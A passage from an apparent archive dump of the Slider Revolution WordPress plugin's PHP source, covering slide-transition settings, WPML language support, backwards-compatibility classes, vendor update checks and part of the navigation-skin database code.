"d":"15","p":"dark","in":{"o":0,"sx":"1.1","sy":"1.1","m":true,"row":30,"col":30},"out":{"a":false},"f":"edges"} }, "slide":{ "boxslidehnm":{"title":"*west*","d":"20","f":"slidebased", "in":{"o":"-0.5", "x":"(15%)","sy":"0.8","sx":"0.8", "row":5,"col":5},"out":{"o":"0.5", "x":"(-15%)","sy":"0.8","sx":"0.8", "row":5,"col":5}}, "boxslidevnm":{"title":"*north*","d":"20","f":"slidebased", "in":{"o":"-0.5", "y":"(15%)", "sy":"0.8","sx":"0.8", "row":5,"col":5},"out":{"o":"0.5", "y":"(-15%)", "sy":"0.8","sx":"0.8", "row":5,"col":5}}, "boxslidehnmd":{"title":"*west* Via Dark","d":"20","p":"dark", "f":"slidebased", "in":{"o":"0", "x":"(15%)","sy":"0.8","sx":"0.8", "row":5,"col":5, "e":"power2.out"},"out":{"a":false,"o":"0", "x":"(-15%)","sy":"0.8","sx":"0.8", "row":5,"col":5,"e":"power2.in"}}, "boxslidevnml":{"title":"*north* Via Light","d":"20","p":"light","f":"slidebased", "in":{"o":"0", "y":"(15%)", "sy":"0.8","sx":"0.8", "row":5,"col":5,"e":"power2.out"},"out":{"a":false,"o":"0", "y":"(-15%)", "sy":"0.8","sx":"0.8", "row":5,"col":5,"e":"power2.in"}}, "boxslideh":{"title":"*west* Mask","d":"20", "in":{"o":0,"m":"true", "x":"(100%)","sy":"2","sx":"2", "row":5,"col":5},"f":"center"}, "boxslidev":{"title":"*north* Mask","d":"20", "in":{"o":0,"m":"true", "y":"(100%)","sy":"2","sx":"2", "row":5,"col":5},"f":"center"}, "boxslidec":{"title":"*north_west* Cross","d":"20","f":"slidebased", "in":{"o":"-0.5", "y":"(15%)", "x":"(15%)","sy":"0.8","sx":"0.8", "row":5,"col":5},"out":{"a":false,"o":"0.5", "y":"(-15%)", "x":"(-15%)","sy":"0.8","sx":"0.8", "row":5,"col":5}}, "boxslidemask":{"title":"*north_west* Cross Mask","d":"20", "in":{"o":0,"m":"true", "y":"(50%)", "x":"(50%)","sy":"2","sx":"2", "row":5,"col":5},"f":"center"}, "boxslidemotionh":{"title":"*west* Motion Blur","speed":"1000","in":{"o":"0","mou":true,"mo":"45","r":"{-100,100}","x":"(100%)","y":"{-100,100}","sx":"{0,2}","sy":"{0,2}","row":7,"col":7,"e":"power3.out"},"out":{"a":false},"f":"slidebased","d":"10"}, "boxslidemotionv":{"title":"*north* Motion Blur","speed":"1000","in":{"o":"0","mou":true,"mo":"45","r":"{-100,100}","y":"(100%)","x":"{-100,100}","sx":"{0,2}","sy":"{0,2}","row":7,"col":7,"e":"power3.out"},"out":{"a":false},"f":"slidebased","d":"10"} }, "zoom":{ "boxslide":{"title":"*add* Simple", "in":{"o":0,"sx":0,"sy":0,"row":5,"col":5},"out":{"a":false},"f":"nodelay"}, "boxfade":{"title":"*shuffle* Random", "in":{"o":0,"sx":1.1,"sy":1.1,"m":true,"row":5,"col":5},"out":{"a":false},"f":"random"}, "boxzoomoutin":{"title":"*remove**add* Out In", "d":"30", "f":"center", "in":{"o":0,"sx":1.2,"sy":1.2,"row":5,"col":5},"out":{"a":false,"o":0,"sx":0.5,"sy":0.5,"m":true,"row":5,"col":5}}, "boxzoominout":{"title":"*add**remove* In Out", "d":"30", "f":"center", "in":{"o":"-0.3","sx":0.5,"sy":0.5,"row":5,"col":5},"out":{"a":false,"o":0,"sx":1.3,"sy":1.3,"m":true,"row":5,"col":5}} }, "rotation":{ "boxrandomrotate":{"title":"*rotate_left* Scale & Fade","in":{"o":0,"r":"{-45,45}","sx":0,"sy":0,"row":5,"col":5},"out":{"a":false},"f":"random"}, "spiralrotate":{"title":"*wifi_protected_setup* Spiral","speed":"1300", "in":{"o":0,"r":"120","x":"{-20,20}", "y":"{-20,20}","sx":10,"sy":10,"row":5,"col":5,"e":"expo.inOut"},"out":{"a":false},"f":"slidebased","d":"20"} }, "circle":{ "edgetocenterbox":{"title":"*crop_free* Edge Big","f":"edges","d":"15","speed":"1000","in":{"o":0,"r":"[-10|10]","sx":"0.1","sy":"0.1","row":8,"col":8,"x":"[-10|10]","y":"[-10|10]"}}, "centertoedgebox":{"title":"*zoom_out_map* Center Big","f":"center","d":"15","speed":"1000","in":{"o":0,"r":"[-10|10]","sx":"0.1","sy":"0.1","row":8,"col":8,"x":"[-10|10]","y":"[-10|10]"}}, "edgetocenterboxst":{"title":"*crop_free* Edge Small","f":"edges","d":"15","speed":"1000","in":{"o":0,"r":"[-10|10]","sx":"0.1","sy":"0.1","row":20,"col":20,"x":"[-10|10]","y":"[-10|10]"}}, "centertoedgeboxst":{"title":"*zoom_out_map* Center Small","f":"center","d":"15","speed":"1000","in":{"o":0,"r":"[-10|10]","sx":"0.1","sy":"0.1","row":20,"col":20,"x":"[-10|10]","y":"[-10|10]"}} }, "effects":{ "rainv":{"title":"*east* Rain", "speed":"910", "f":"start", "d":"20", "in":{"col":"100", "row":"10", "e":"power3.Out", "sx":"2", "sy":"2", "o":"0", "y":"{-200,200}"}}, "push":{"title":"*south* Rain", "speed":"910", "f":"start", "d":"20", "in":{"col":"10", "row":"100", "e":"power3.Out", "sx":"2", "sy":"2", "o":"0", "x":"{-200,200}"}}, "crystal":{"title":"*widgets* Crystal","f":"random","d":"40","p":"light", "speed":"1000","in":{"o":0,"sx":"5","r":"[(180)|(-180)|(90)|(-90)|(270)|(-270)]","sy":"5","row":30,"col":30,"x":"{-10|100}","y":"{-50|50}","e":"power2.out"}, "out":{"a":false, "e":"power2.in", "o":0,"sx":"6","r":"[(-180)|(180)|(-90)|(90)|(-270)|(270)]","sy":"6","row":30,"col":30,"x":"{-50|50}","y":"{-50|50}"}}, "dreamin":{"title":"*cloud_queue* Dream In","f":"edges","d":"10","speed":"910","in":{"o":0,"sx":"4","sy":"4","row":20,"col":20,"x":"[-10|10]","y":"[-10|10]"}}, "dreamout":{"title":"*cloud_queue* Dream Out","f":"center","d":"10","speed":"910","in":{"o":0,"sx":"4","sy":"4","row":20,"col":20,"x":"[-10|10]","y":"[-10|10]"}}, "bfrot":{"title":"*window* 4 Edge Cut","f":"start", "d":"40", "filter":{"u":true, "b":"3", "e":"default"}, "in":{"o":0,"e":"power2.inOut", "x":"[-100%|-100%|100%|100%]","y":"[-20%|20%|-20%|20%]", "r":"[-20|20|-20|20]","sx":0.5,"sy":0.5,"row":2,"col":2},"out":{"a":false,"e":"power2.inOut", "o":0,"x":"[5%|5%|-5%|-5%]","y":"[4%|-4%|4%|-4%]","sx":0.8,"sy":0.8,"row":2,"col":2}}, "mosaic": {"title":"*view_comfy* Mosaic", "speed":"1500", "f":"edges", "d":"20", "in":{"col":"17","row":"17", "e":"power2.inOut", "r":"[20,10,8,5,2,1,2,-1,-2,-5,-8,-10,-20]", "x":"[20,10,8,5,2,1,2,-1,-2,-5,-8,-10,-20]", "y":"[20,10,8,5,2,1,2,-1,-2,-5,-8,-10,-20]", "m":"true", "sx":"[8,7,6,4,3,2,1.3,2,3,4,6,7,8]", "sy":"[8,7,6,4,3,2,1.3,2,3,4,6,7,8]", "o":"0"},"out":{"a":false,"o":"0"}}, "switch": {"title":"*repeat* Switch", "speed":"1000", "f":"center", "d":"80","filter":{"u":true, "b":"3", "e":"late2"}, "in":{"col":"3","row":"3", "e":"power2.inOut", "x":"[-100%|0|100%]", "sx":"[1|0|1]", "sy":"[1|0|1]", "o":"0"}}, "switchrot": {"title":"*repeat* Switch & Rotate", "speed":"800", "f":"start", "d":"40", "in":{"col":"3","row":"3", "r":"[(-180)|0|(180)]","e":"back.out", "x":"[-100%|0|100%]", "sx":"[1|0|1]", "sy":"[1|0|1]", "o":"0"},"out":{"a":false, "col":"3","row":"3", "r":"[(-180)|0|(180)]","e":"power3.inOut", "x":"[100%|0|-100%]", "sx":"[1|0.5|1]", "sy":"[1|0.5|1]", "o":"1"}}, "boxslidehnm3d":{"title":"*view_in_ar* Slide Horiz.","d":"50","f":"edges", "in":{"o":"-0.5", "x":"(15%)","sy":"0.8","sx":"0.8", "row":5,"col":5},"out":{"o":"0.5", "x":"(-15%)","sy":"0.8","sx":"0.8", "row":5,"col":5},"d3":{"f":"cube", "d":"horizontal", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}}, "rainv3d":{"title":"*view_in_ar* Rain Vert.", "speed":"1210", "f":"start", "d":"20", "in":{"col":"100", "row":"10", "e":"power3.Out", "sx":"2", "sy":"2", "o":"0", "y":"{-200,200}"},"d3":{"f":"cube", "d":"vertical", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}}, "push3d":{"title":"*view_in_ar* Rain Horiz.", "speed":"1210", "f":"start", "d":"20", "in":{"col":"10", "row":"100", "e":"power3.Out", "sx":"2", "sy":"2", "o":"0", "x":"{-200,200}"},"d3":{"f":"cube", "d":"horizontal", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}}, "crystal3d":{"title":"*view_in_ar* Crystal","f":"random","d":"40", "speed":"1200","in":{"o":0,"sx":"5","r":"[(180)|(-180)|(90)|(-90)|(270)|(-270)]","sy":"5","row":30,"col":30,"x":"{-10|100}","y":"{-50|50}","e":"power2.out"}, "out":{"a":false, "e":"power2.in", "o":0,"sx":"6","r":"[(-180)|(180)|(-90)|(90)|(-270)|(270)]","sy":"6","row":30,"col":30,"x":"{-50|50}","y":"{-50|50}"},"d3":{"f":"cube", "d":"vertical", "z":"450", "t":"-20", "c":"#ccc", "e":"back.out","su":"true", "smi":"0", "sma":"1"}}, "dreamin3d":{"title":"*3d_rotation* Dream In","f":"edges","d":"30","speed":"1210","in":{"o":0,"sx":"4","sy":"4","row":20,"col":20,"x":"[-10|10]","y":"[-10|10]"},"d3":{"f":"incube", "d":"vertical", "z":"450", "t":"30", "c":"#ccc", "e":"power2.inOut"}}, "bfrot3d":{"title":"*view_in_ar* 4 Edge Cut","f":"start", "d":"40", "speed":"1200", "filter":{"u":true, "b":"3", "e":"default"}, "in":{"o":0,"e":"power2.inOut", "x":"[-100%|-100%|100%|100%]","y":"[-20%|20%|-20%|20%]", "r":"[-20|20|-20|20]","sx":0.5,"sy":0.5,"row":2,"col":2},"out":{"a":false,"e":"power2.inOut", "o":0,"x":"[5%|5%|-5%|-5%]","y":"[4%|-4%|4%|-4%]","sx":0.8,"sy":0.8,"row":2,"col":2},"d3":{"f":"cube", "d":"horizontal", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}}, "mosaic3d": {"title":"*view_in_ar* Mosaic", "speed":"1200", "f":"edges", "d":"20", "in":{"col":"17","row":"17", "e":"power2.inOut", "r":"[20,10,8,5,2,1,2,-1,-2,-5,-8,-10,-20]", "x":"[20,10,8,5,2,1,2,-1,-2,-5,-8,-10,-20]", "y":"[20,10,8,5,2,1,2,-1,-2,-5,-8,-10,-20]", "m":"true", "sx":"[8,7,6,4,3,2,1.3,2,3,4,6,7,8]", "sy":"[8,7,6,4,3,2,1.3,2,3,4,6,7,8]", "o":"0"},"out":{"a":false,"o":"0"},"d3":{"f":"cube", "d":"horizontal", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}}, "switch3d": {"title":"*view_in_ar* Switch", "speed":"1200", "f":"center", "d":"80","in":{"col":"3","row":"3", "e":"power2.inOut", "x":"[-100%|0|100%]", "sx":"[1|0|1]", "sy":"[1|0|1]", "o":"0"},"d3":{"f":"cube", "d":"horizontal", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}}, "switchrot3d": {"title":"*view_in_ar* Switch & Rotate", "speed":"1200", "f":"start", "d":"40", "in":{"col":"3","row":"3", "r":"[(-180)|0|(180)]","e":"back.out", "x":"[-100%|0|100%]", "sx":"[1|0|1]", "sy":"[1|0|1]", "o":"0"},"out":{"a":false, "col":"3","row":"3", "r":"[(-180)|0|(180)]","e":"power3.inOut", "x":"[100%|0|-100%]", "sx":"[1|0.5|1]", "sy":"[1|0.5|1]", "o":"1"},"d3":{"f":"cube", "d":"horizontal", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}}, "puzzle":{"title":"*extension* Puzzle","speed":"1000","in":{"o":"0","mou":true,"mo":"35","r":"{-100,100}","x":"{-100,100}","y":"{-100,100}","sx":"{0,2}","sy":"{0,2}","row":7,"col":7,"e":"power3.out"},"out":{"a":false},"f":"random","d":"10"}, "cometogether":{"title":"*rotate_left* Come Together","speed":"800","in":{"o":"0","mou":true,"mo":"60","r":"{-60,60}","sx":"4","sy":"0","row":2,"col":12,"e":"back.out"},"out":{"a":false},"f":"edges","d":"12"}, "getfocus":{"title":"*center_focus_strong* Get Focus","speed":"1000","in":{"o":"0","mou":true,"mo":"70","r":"{-40,40}","sx":"2","sy":"2","x":"{-20,20}","y":"{-20,20}","row":10,"col":10,"e":"circ.in"},"out":{"a":false},"f":"edges","d":"15"}, "waves":{"title":"*waves* Ripples","speed":"1000","in":{"o":"0","mou":true,"mo":"70","r":"{-40,40}","sx":"2","sy":"2","x":"{-20,20}","y":"{-20,20}","row":20,"col":20,"e":"elastic.out"},"out":{"a":false},"f":"center","d":"15"}, "wavesbig":{"title":"*waves* Double Ripples","speed":"1000","in":{"o":"0","r":"{-40,40}","sx":"2","sy":"2","x":"{-20,20}","y":"{-20,20}","row":20,"col":20,"e":"bounce.in"},"out":{"a":false},"f":"center","d":"15"}, "wavesmiddle":{"title":"*waves* Bounced Ripples","speed":"1000","mou":true,"mo":"40","in":{"o":"0","r":"[-10|10|-20|20|-30|30]","sx":"[2|4]","sy":"[2|4]","x":"[-10|10|-20|20|-30|30]","y":"[-10|10|-20|20|-30|30]","row":20,"col":20,"e":"BounceExtrem"},"out":{"a":false},"f":"center","d":"15"} } }, "random":{ "icon":"shuffle","noSubLevel":"true", "rndany": {"title":"*done_all* Random All","random":"true","rndmain":"all"}, "rndbasic": {"title":"*aspect_ratio* Random Base","random":"true","rndmain":"basic"}, "rndrow": {"title":"*line_weight* Random Row","random":"true","rndmain":"rows"}, "rndcolumns": {"title":"*view_week* Random Column","random":"true","rndmain":"columns"}, "rndboxes": {"title":"*apps* Random Box","random":"true","rndmain":"boxes"}, "rndfade": {"title":"*opacity* Random Fade","random":"true","rndmain":"all","rndgrp":"fade"}, "rndslide": {"title":"*open_with* Random Slide","random":"true","rndmain":"all","rndgrp":"slide,curtain,slideover,remove,slideinout,slideinoutfadein,slideinoutfadeinout,parallax,double"}, "rndzoom": {"title":"*add* Random Zoom","random":"true","rndmain":"all","rndgrp":"zoom,zoomslidein,zoomslideout"}, "rndrotation": {"title":"*rotate_left* Random Rotation","random":"true","rndmain":"all","rndgrp":"rotation"}, "rndeffects": {"title":"*3d_rotation* Random Effects","random":"true","rndmain":"all","rndgrp":"effects,circle,filter"} } }'; $transitions = apply_filters('revslider_data_get_base_transitions', $transitions); return ($raw) ? $transitions : json_decode($transitions, true); } } includes/wpml.class.php000060400000012504151724235750011157 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderWpml extends RevSliderFunctions { private $cur_lang; /** * load the wpml filters ect. **/ public function __construct(){ add_filter('revslider_get_posts_by_category', array($this, 'translate_category_lang'), 10, 2); add_filter('revslider_get_parent_slides_pre', array($this, 'change_lang'), 10, 4); add_filter('revslider_get_parent_slides_post', array($this, 'change_lang_to_orig'), 10, 4); add_action('revslider_header_content', array($this, 'add_javascript_language')); } /** * true / false if the wpml plugin exists */ public function wpml_exists(){ return did_action('wpml_loaded'); } /** * valdiate that wpml exists */ public function validateWpmlExists(){ if(!$this->wpml_exists()){ $this->throw_error(__('The WPML plugin is not activated', 'revslider')); } } /** * get languages array */ public function getArrLanguages($get_all = true){ $this->validateWpmlExists(); $langs = apply_filters('wpml_active_languages', array()); $response = array(); if($get_all == true){ $response['all'] = __('All Languages', 'revslider'); } foreach($langs as $code => $lang){ $name = $lang['native_name']; $response[$code] = $name; } return $response; } /** * get assoc array of lang codes */ public function getArrLangCodes($get_all = true){ $codes = array(); if($get_all == true){ $codes['all'] = 'all'; } $this->validateWpmlExists(); $langs = apply_filters('wpml_active_languages', array()); foreach($langs as $code => $arr){ $codes[$code] = $code; } return $codes; } /** * check if all languages exists in the given langs array */ public function isAllLangsInArray($codes){ $all_codes = $this->getArrLangCodes(); $diff = array_diff($all_codes, $codes); return empty($diff); } /** * get flag url */ public function getFlagUrl($code){ $this->validateWpmlExists(); $path = (defined('ICL_PLUGIN_URL')) ? ICL_PLUGIN_URL . '/res/img/icon16.png' : RS_PLUGIN_URL . 'admin/assets/images/icon16.png'; if(empty($code) || $code == 'all'){ $url = $path; }else{ $active_languages = apply_filters('wpml_active_languages', array()); $url = isset($active_languages[$code]['country_flag_url']) ? $active_languages[$code]['country_flag_url'] : null; } //default: show all return (!empty($url)) ? $url : $path; } /** * get language title by code */ public function getLangTitle($code){ if($code == 'all'){ return(__('All Languages', 'revslider')); }else{ $def = apply_filters('wpml_default_language', null); return apply_filters('wpml_translated_language_name', '', $code, $def); } } /** * get current language */ public function getCurrentLang(){ $this->validateWpmlExists(); return (is_admin()) ? apply_filters('wpml_default_language', null) : apply_filters('wpml_current_language', null); } /** * was before in RevSliderFunctions::get_posts_by_category(); **/ public function translate_category_lang($data, $type){ $cat_id = $this->get_val($data, 'cat_id'); $cat_id = (strpos($cat_id, ',') !== false) ? explode(',', $cat_id) : array($cat_id); if($this->wpml_exists()){ //translate categories to languages $newcat = array(); foreach($cat_id as $id){ $newcat[] = apply_filters('wpml_object_id', $id, 'category', true); } $data['cat_id'] = implode(',', $newcat); } return $data; } /** * switch the language if WPML is used in Slider **/ public function change_lang($lang, $published, $gal_ids, $slider){ if($this->wpml_exists() && $slider->get_param('use_wpml', 'off') == 'on'){ $this->cur_lang = apply_filters('wpml_current_language', null); do_action('wpml_switch_language', $lang); } } /** * switch the language back to original, if WPML is used in Slider **/ public function change_lang_to_orig($lang, $published, $gal_ids, $slider){ if($this->wpml_exists() && $slider->get_param(array('general', 'useWPML'), false) == true){ //switch language back do_action('wpml_switch_language', $this->cur_lang); } } /** * modify slider language * @before: RevSliderOutput::setLang() */ public function get_language($use_wpml, $slider){ $lang = ($this->wpml_exists() && $use_wpml == true) ? ICL_LANGUAGE_CODE : 'all'; return $lang; } public function get_slider_language($slider){ $use_wmpl = $slider->get_param(array('general', 'useWPML'), false); return $this->get_language($use_wmpl, $slider); } /** * add languages as javascript object to the RevSlider BackEnd Header **/ public function add_javascript_language($rsad){ if(!$this->wpml_exists()) return ''; $langs = $this->getArrLanguages(); $use_langs = array(); foreach($langs as $code => $lang){ $use_langs[$code] = array( 'title' => $lang, 'image' => $this->getFlagUrl($code) ); } echo ''; } } global $rs_wmpl; $rs_wmpl = new RevSliderWpml(); /** * old classname extends new one (old classnames will be obsolete soon) * @since: 5.0 **/ class UniteWpmlRev extends RevSliderWpml {}includes/backwards.php000060400000002706151724235750011040 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); /** * backwards compatibility prior 6.0.0 code * @START **/ class RevSliderBase { public static function check_file_in_zip($d_path, $image, $alias, $alreadyImported = false){ $f = RevSliderGlobals::instance()->get('RevSliderFunctions'); return $f->check_file_in_zip($d_path, $image, $alias, $alreadyImported, $add_path = false); } } class RevSliderFunctionsWP { public static function getImageUrlFromPath($url){ $f = RevSliderGlobals::instance()->get('RevSliderFunctions'); return $f->get_image_url_from_path($url); } public static function get_image_id_by_url($image_url){ $f = RevSliderGlobals::instance()->get('RevSliderFunctions'); return $f->get_image_id_by_url($image_url); } } class RevSliderOperations { public function getGeneralSettingsValues(){ $f = RevSliderGlobals::instance()->get('RevSliderFunctions'); return $f->get_global_settings(); } } class RevSlider extends RevSliderSlider { public function __construct(){ //echo ''."\n"; } } class UniteFunctionsRev extends RevSliderFunctions {} if(!function_exists('set_revslider_as_theme')){ function set_revslider_as_theme(){ } } /** * backwards compatibility prior 6.0.0 code * @END **/includes/update.class.php000060400000016306151724235750011466 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderUpdate { private $plugin_url = 'https://www.sliderrevolution.com/'; private $remote_url = 'check_for_updates.php'; private $remote_url_info = 'revslider/revslider.php'; private $plugin_slug = 'revslider'; private $version; private $plugins; private $option; public $force = false; public function __construct($version){ $this->option = $this->plugin_slug . '_update_info'; $this->_retrieve_version_info(); $this->version = (empty($version)) ? RS_REVISION : $version; } public function add_update_checks(){ if($this->force === true){ ini_set('max_execution_time', 300); //an update can follow, so set the execution time high for the runtime $transient = get_site_transient('update_plugins'); $rs_t = $this->set_update_transient($transient); if(!empty($rs_t)){ set_site_transient('update_plugins', $rs_t); } } add_filter('pre_set_site_transient_update_plugins', array(&$this, 'set_update_transient')); add_filter('plugins_api', array(&$this, 'set_updates_api_results'), 10, 3); } public function set_update_transient($transient){ $this->_check_updates(); if(isset($transient) && !isset($transient->response)){ if(!is_object($transient)) $transient = new stdClass(); $transient->response = array(); } if(!isset($this->data)) return $transient; if(!isset($this->data->basic)) return $transient; if(!empty($this->data->basic) && is_object($this->data->basic)){ $version = (isset($this->data->basic->version)) ? $this->data->basic->version : $this->data->basic->new_version; if(version_compare($this->version, $version, '<')){ $this->data->basic->new_version = $version; if(isset($this->data->basic->version)){ unset($this->data->basic->version); } $transient->response[RS_PLUGIN_SLUG_PATH] = $this->data->basic; } } return $transient; } public function set_updates_api_results($result, $action, $args){ $this->_check_updates(); if(isset($args->slug) && $args->slug == $this->plugin_slug && $action == 'plugin_information'){ if(!isset($this->data)) return $result; if(!isset($this->data->full)) return $result; if(is_object($this->data->full) && !empty($this->data->full)){ $result = $this->data->full; } } return $result; } public function _check_updates(){ // Get data if(empty($this->data)){ $data = get_option($this->option, false); $data = $data ? $data : new stdClass; $this->data = is_object($data) ? $data : maybe_unserialize($data); } $last_check = get_option('revslider-update-check'); if($last_check == false){ //first time called $last_check = time() - 172802; update_option('revslider-update-check', $last_check); } // Check for updates if(time() - $last_check > 172800 || $this->force == true){ $data = $this->_retrieve_update_info(); update_option('revslider-update-check', time()); if(isset($data->basic)){ $this->data->checked = time(); $this->data->basic = $data->basic; $this->data->full = $data->full; update_option('revslider-stable-version', $data->full->stable); update_option('revslider-latest-version', $data->full->version); } } // Save results update_option($this->option, $this->data); } public function _retrieve_update_info(){ $rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer'); $data = new stdClass; // Build request $rattr = array( 'code' => urlencode(get_option('revslider-code', '')), 'version' => urlencode(RS_REVISION) ); if(get_option('revslider-valid', 'false') !== 'true' && version_compare(RS_REVISION, get_option('revslider-stable-version', '4.2'), '<')){ //We'll get the last stable only now! $rattr['get_stable'] = 'true'; } $request = $rslb->call_url($this->remote_url_info, $rattr, 'updates'); if(!is_wp_error($request)){ if($response = maybe_unserialize($request['body'])){ if(is_object($response)){ $data = $response; $data->basic->url = $this->plugin_url; $data->full->url = $this->plugin_url; $data->full->external = 1; } } } return $data; } public function _retrieve_version_info(){ $rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer'); $last_check = get_option('revslider-update-check-short'); // Check for updates if($last_check == false || time() - $last_check > 172800 || $this->force == true){ do_action('revslider-retrieve_version_info', $this); update_option('revslider-update-check-short', time()); $hash = ($this->force === true) ? '' : get_option('revslider-update-hash', ''); $purchase = (get_option('revslider-valid', 'false') == 'true') ? get_option('revslider-code', '') : ''; $data = array( 'version' => urlencode(RS_REVISION), 'item' => urlencode(RS_PLUGIN_SLUG), 'hash' => urlencode($hash), 'code' => urlencode($purchase), 'addition' => apply_filters('revslider_retrieve_version_info_addition', array()) ); $request = $rslb->call_url($this->remote_url, $data, 'updates'); $version_info = wp_remote_retrieve_body($request); if(wp_remote_retrieve_response_code($request) != 200 || is_wp_error($version_info)){ update_option('revslider-connection', false); return false; }else{ update_option('revslider-connection', true); } if('actual' != $version_info){ $version_info = json_decode($version_info); if(isset($version_info->hash)) update_option('revslider-update-hash', $version_info->hash); if(isset($version_info->version)) update_option('revslider-latest-version', $version_info->version); if(isset($version_info->stable)) update_option('revslider-stable-version', $version_info->stable); if(isset($version_info->notices)) update_option('revslider-notices', $version_info->notices); if(isset($version_info->additions)) update_option('revslider-additions', $version_info->additions); if(isset($version_info->addons)){ $addons = get_option('revslider-addons', array()); $addons = (is_object($addons)) ? (array)$addons : $addons; $addons = (!is_array($addons)) ? json_decode($addons, true) : $addons; $cur_addons_count = count($addons); $new_addons_count = count((array)$version_info->addons); if($cur_addons_count < $new_addons_count){ $counter = $new_addons_count - $cur_addons_count; update_option('rs-addons-counter', $counter); } update_option('revslider-addons', $version_info->addons); } if(isset($version_info->deactivated) && $version_info->deactivated === true){ if(get_option('revslider-valid', 'false') == 'true'){ //remove validation, add notice update_option('revslider-valid', 'false'); update_option('revslider-deregister-popup', true); } } } } //force that the update will be directly searched if($this->force == true) update_option('revslider-update-check', ''); return get_option('revslider-latest-version', RS_REVISION); } } /** * old classname extends new one (old classnames will be obsolete soon) * @since: 5.0 **/ class UniteUpdateClassRev extends RevSliderUpdate {}includes/navigation.class.php000060400000046224151724235750012345 0ustar00 * @link https://www.sliderrevolution.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderNavigation extends RevSliderFunctions { public $version = '6.0.0'; public function init_by_id($nav_id){ if(intval($nav_id) == 0) return false; global $wpdb; $row = $wpdb->get_row($wpdb->prepare("SELECT `id`, `handle`, `type`, `css`, `settings` FROM ".$wpdb->prefix.RevSliderFront::TABLE_NAVIGATIONS." WHERE `id` = %d", $nav_id), ARRAY_A); return $row; } /** * Get all Navigations Short * @since: 5.0 **/ public function get_all_navigations_short(){ global $wpdb; $navigations = $wpdb->get_results("SELECT `id`, `handle`, `name` FROM ".$wpdb->prefix.RevSliderFront::TABLE_NAVIGATIONS, ARRAY_A); return $navigations; } public function get_all_navigations_builder($defaults = true, $raw = false){ $navs = $this->get_all_navigations($defaults, $raw); $real_navs = array( 'arrows' => array(), 'thumbs' => array(), 'bullets' => array(), 'tabs' => array() ); if(!empty($navs)){ foreach($navs as $nav){ $real_navs[$this->get_val($nav, 'type')][$this->get_val($nav, 'id')] = $nav; } } return $real_navs; } /** * get cache attempt of _get_all_navigations * @return mixed */ public function get_all_navigations($defaults = true, $raw = false, $old = false){ return $this->get_wp_cache('_get_all_navigations', array($defaults, $raw, $old)); } /** * Get all Navigations * @since: 5.0 **/ protected function _get_all_navigations($defaults = true, $raw = false, $old = false){ global $wpdb; $navigations = $wpdb->get_results("SELECT * FROM ".$wpdb->prefix.RevSliderFront::TABLE_NAVIGATIONS, ARRAY_A); if($raw == false){ foreach($navigations as $key => $nav){ $navigations[$key]['factory'] = false; $navigations[$key]['css'] = ($old === true) ? $navigations[$key]['css'] : stripslashes($navigations[$key]['css']); $navigations[$key]['markup'] = ($old === true) ? $navigations[$key]['markup'] : stripslashes($navigations[$key]['markup']); if(isset($navigations[$key]['settings'])){ $navigations[$key]['settings'] = RevSliderFunctions::stripslashes_deep(json_decode($navigations[$key]['settings'], true)); if(!is_array($navigations[$key]['settings'])){ $navigations[$key]['settings'] = json_decode($navigations[$key]['settings'], true); } } } } if($defaults){ $def = self::get_default_navigations(); $default_presets = get_option('revslider-nav-preset-default', array()); if(!empty($def)){ if($raw == false){ foreach($def as $key => $nav){ $def[$key]['factory'] = true; if(isset($def[$key]['settings'])){ $def[$key]['settings'] = json_decode($def[$key]['settings'], true); } //add custom settings (placeholders) to the default navigation if(!empty($default_presets)){ if(!isset($def[$key]['settings'])) $def[$key]['settings'] = array(); if(!isset($def[$key]['settings']['presets'])) $def[$key]['settings']['presets'] = array(); foreach($default_presets as $id => $v){ if($id !== $def[$key]['id']) continue; if(!empty($v)){ foreach($v as $pr_v){ if($this->get_val($pr_v, 'type') !== $def[$key]['type']) continue; $def[$key]['settings']['presets'][$this->get_val($pr_v, 'name')] = array( 'name' => $this->get_val($pr_v, 'name'), 'values' => $this->get_val($pr_v, 'values') ); } } } } } } $navigations = array_merge($navigations, $def); } } foreach($navigations as $key => $nav){ //check if this is the v6 version if(version_compare($this->get_val($navigations[$key], array('settings', 'version'), false), $this->version, '>=')){ //we are v6, push settings to root $navigations[$key]['dim'] = $this->get_val($navigations[$key], array('settings', 'dim'), false); $navigations[$key]['placeholders'] = $this->get_val($navigations[$key], array('settings', 'placeholders'), false); $navigations[$key]['presets'] = $this->get_val($navigations[$key], array('settings', 'presets'), false); $navigations[$key]['version'] = $this->get_val($navigations[$key], array('settings', 'version'), false); unset($navigations[$key]['settings']); } } return $navigations; } /** * Creates / Updates Navigation skins * @since: 5.0 **/ public function create_update_full_navigation($data){ global $wpdb; if(!empty($data) && is_array($data)){ $navigations = $this->get_all_navigations(false); foreach($data as $vals){ $found = false; if(!isset($vals['markup']) || !isset($vals['css'])) continue; if($this->get_val($vals, 'factory', false) == 'true') continue; //defaults can't be deleted if(isset($vals['id'])){ //new will be added temporary to navs to tell here that they are new foreach($navigations as $nav){ if($vals['id'] == $nav['id']){ $found = true; break; } } } if($found == true){ //update $this->create_update_navigation($vals, $vals['id']); }else{ //create $this->create_update_navigation($vals); } } } return true; } /** * Creates / Updates Navigation skins * @since: 5.0 **/ public function create_update_navigation($data, $nav_id = 0){ global $wpdb; if($this->get_val($data, 